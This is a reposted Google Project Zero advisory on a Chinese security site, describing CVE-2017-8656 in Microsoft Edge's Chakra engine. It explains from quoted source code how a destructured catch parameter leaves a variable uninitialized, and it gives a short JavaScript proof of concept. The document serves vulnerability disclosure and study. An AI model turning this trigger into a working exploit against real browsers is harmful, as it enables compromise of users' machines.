首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Charka PreVisitCatch Missing Call
来源:Google Security Research 作者:lokihardt 发布时间:2017-08-17  
Microsoft Edge: Chakra: PreVisitCatch doesn't call SetIsCatch for all cases CVE-2017-8656 function trigger() { try { } catch (x) { var x = 1; } print(x); } trigger(); When Chakra executes the above code, it declares two "x"s. One is only for the catch scope, the other is for the whole function scope. The one for the whole function scope is initialized with undefined at the start of the function. If the bytecode generator incorrectly chooses the "x" to initialize, the "x" for the function scope may remain uninitialized. This choice is made in the following code in "ByteCodeGenerator::DefineUserVars". void ByteCodeGenerator::DefineUserVars(FuncInfo *funcInfo) { ... for (pnode = funcInfo->root->sxFnc.pnodeVars; pnode; pnode = pnode->sxVar.pnodeNext) { Symbol* sym = pnode->sxVar.sym; if (sym != nullptr && !(pnode->sxVar.isBlockScopeFncDeclVar && sym->GetIsBlockVar())) { if (sym->GetIsCatch() || (pnode->nop == knopVarDecl && sym->GetIsBlockVar())) { ... sym = funcInfo->bodyScope->FindLocalSymbol(sym->GetName()); <<< This returns the symbol for the function scope. ... } } // Emit bytecode which initalizes "sym" } ... } However, there's a buggy case that "sym->GetIsCatch()" returns false when it must return true. Here's a snippet of "PreVisitCatch". This function is supposed to call "SetIsCatch" for all the symbols in the exception parameter. But it doesn't call "SetIsCatch" when the condition "pnode->sxCatch.pnodeParam->nop == knopParamPattern" is satisfied. The PoC reproduces that case, the "x" for the function scope will refer to an uninitialized value in the stack. void PreVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator) { // Push the catch scope and add the catch expression to it. byteCodeGenerator->StartBindCatch(pnode); if (pnode->sxCatch.pnodeParam->nop == knopParamPattern) { Parser::MapBindIdentifier(pnode->sxCatch.pnodeParam->sxParamPattern.pnode1, [&](ParseNodePtr item) { Symbol *sym = item->sxVar.sym; }); } else { Symbol *sym = *pnode->sxCatch.pnodeParam->sxPid.symRef; sym->SetIsCatch(true); pnode->sxCatch.pnodeParam->sxPid.sym = sym; } ... } PoC: function trigger() { try { } catch ({x}) { var x = 1; } print(x); } trigger(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Edge CInputDateTimeS
·Microsoft Edge Charka Failed R
·FreeBSD 10.3 Jail SHM Issue
·Microsoft Edge Chakra PushPopF
·Internet Download Manager 6.28
·Microsoft Edge Chakra TryUndel
·ALLPlayer 7.4 - Buffer Overflo
·Microsoft Edge Chakra Incorrec
·Xamarin Studio for Mac 6.2.1 (
·Microsoft Edge Chakra Javascri
·Tomabo MP4 Converter 3.19.15 -
·Microsoft Edge Chakra Uninitia
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved